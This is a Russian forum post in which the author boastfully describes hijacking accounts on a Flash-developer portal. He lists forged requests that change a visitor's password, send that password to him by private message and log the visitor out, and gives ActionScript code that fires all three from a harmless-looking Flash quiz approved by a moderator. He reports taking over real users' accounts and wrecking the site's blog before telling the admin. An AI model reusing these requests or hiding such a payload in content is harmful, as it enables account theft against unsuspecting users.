GothX
Сообщений: 263
Оценки: 20
Присоединился: 2011-06-22 13:27:08.173333
|
Данный текст не претендует на отдельную статью, да и не было у меня такой цели, я просто хотел показать, как можно просто, но элегантно решать некоторые задачи со взломом. I. Лирическое отступление. История эта берет начало еще в далеком 2006 году, когда я увлекся программированием на Actionsсriрt, зарегистрировался на одном уютненьком портале флеш-разработчиков (где и поныне состою). Чуть позже я начал изучать азы информационной безопасности, и почти сразу же нашел на том портале довольно нестандартную SQL-инъекцию, о чем сообщил администратору. После этого мы с ним начали довольно тесно и хорошо общаться, и время от времени я давал ему советы по исправлению багов на его сайте. Не так давно движок того сайта был полностью переписан с учетом всех моих рекомендаций; админ сказал мне, что теперь его крепость неприступна, но я лишь улыбнулся в ответ… II. Изучение цели. Естественно, искать банальные инъекции уже не было смысла. Да даже если бы и нашел, вряд ли бы она мне помогла, поскольку я сам рекомендовал админу шифровать пароли как-нибудь половчее, вроде md5('ololo'+password). Немного изучив новый, с нуля переписанный сайт, я понял, что добрая половина функционала запилена на jаvаsсriрt-е. Мучаясь похмельем, тыкая в клавиатуру одним пальцем я, особо ни на что не надеясь, забил в гугл поисковый запрос: site:XXXXX.ru inurl:"*js" Тут же я лицезрел результат зпроса: http://XXXXX.ru/js/XXXXX.js?21 Перейдя по этой ссылке, я увидел js-код, в начале которого скромно был приписан коммент админа: // модуль обмена данными с jsgate.php Модуль по размерам был довольно внушительным, написанным на славу. Но здесь я приведу лишь одну функцию, которая нам будет наиболее интересна: user_profile_edit : function(){
return this.query('User.profileEdit', dom.values(['uname', 'ucity', 'ugender', 'ubirthday', 'uicq', 'uvk', 'usite', 'uskype', 'utwitter', 'uautograph', 'f_image', 'upass']));
} Как видим, это функция редактирования профиля юзера данного сайта. Но не столько интересны данные этого профиля, сколько последний параметр: upass :) Чтобы пронаблюдать действие данной функции в деле, я залогинился на сайте, запустил сниффер и поменял в своем профиле пароль. Сниффер любезно выдал мне получившийся POST-запрос: http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD Ну что ж, тут вроде всё ясно. В наших руках оказалась практически неограниченная власть над местными юзерами :) Но как заставить пользователей переходить по таким ссылкам? Можно, конечно, подсовывать ссылку на блоге сайта, маскируя ее подобным образом: [url http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD]goooogle.com[/url] Но модераторы и админ не такие уж и тупые, а значит быстро спалят фишку. Да еще ведь нужно узнать, кто именно переходил по ссылке, желательно бы поставить рандомные пароли, чтобы никто умный не смог вовремя спохватиться. Вобщем, еще немного поковырявшись в js-коде, я смог составить несколько запросов, которые полностью удовлетворяли бы моим потребностям: http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD //Собственно, меняем пароль юзера
http://XXXXX.ru/jsgate.php?m=PM.send&mtext=PASSWORD&id=MyID //Этим запросом юзер посылает от своего имени мне в личку сообшение с паролем, отсюда же я узнаю, кто именно перешел по ссылке (где MyID - id моего логина)
http://XXXXX.ru/jsgate.php?m=User.logout //Выход юзера из-под своего логина. То бишь - прощай! :) Всё хорошо, но теперь задача усложняется - надо впарить целых три ссылки, да еще одновременно. Но как? III. Реализация. Надеюсь, вы еще не забыли, что этот сайт - портал флэш-разработчиков ;) То есть, все что нам нужно - это запилить какую-нибудь простенькую флэшку, которую беспечный модератор одобрит (не проверяют ведь они каждую флэшку сниффером) и выставит на главную страницу (значит, флэшка не должна быть уж совсем унылой :)). На скорую руку создав во флэше что-то вроде психологического теста, я забил на первый же кадр флэшки следующий код Actionsсriрt: var loader:LoadVars = new LoadVars();
loader.load("http://XXXXX.ru/jsgate.php?m=User.profileEdit&upass=PASSWORD", 'POST');
var loader1:LoadVars = new LoadVars();
loader1.load("http://XXXXX.ru/jsgate.php?m=PM.send&mtext=PASSWORD&id=MyID", 'POST');
var loader2:LoadVars = new LoadVars();
loader2.load("http://XXXXX.ru/jsgate.php?m=User.logout", 'POST'); Далее выложил эту флэшку на сайт, дождался ее одобрения модератором, наловил свеженьких аккаунтов и устроил хаос в блоге :) Немного повеселившись, сообщил о "баге" админу, а он в свою очередь прикрыл дырку. Правда, не очень хорошо как-то прикрыл, но это уже совсем другая история. Вот такой вот творческий подход к взлому :)
|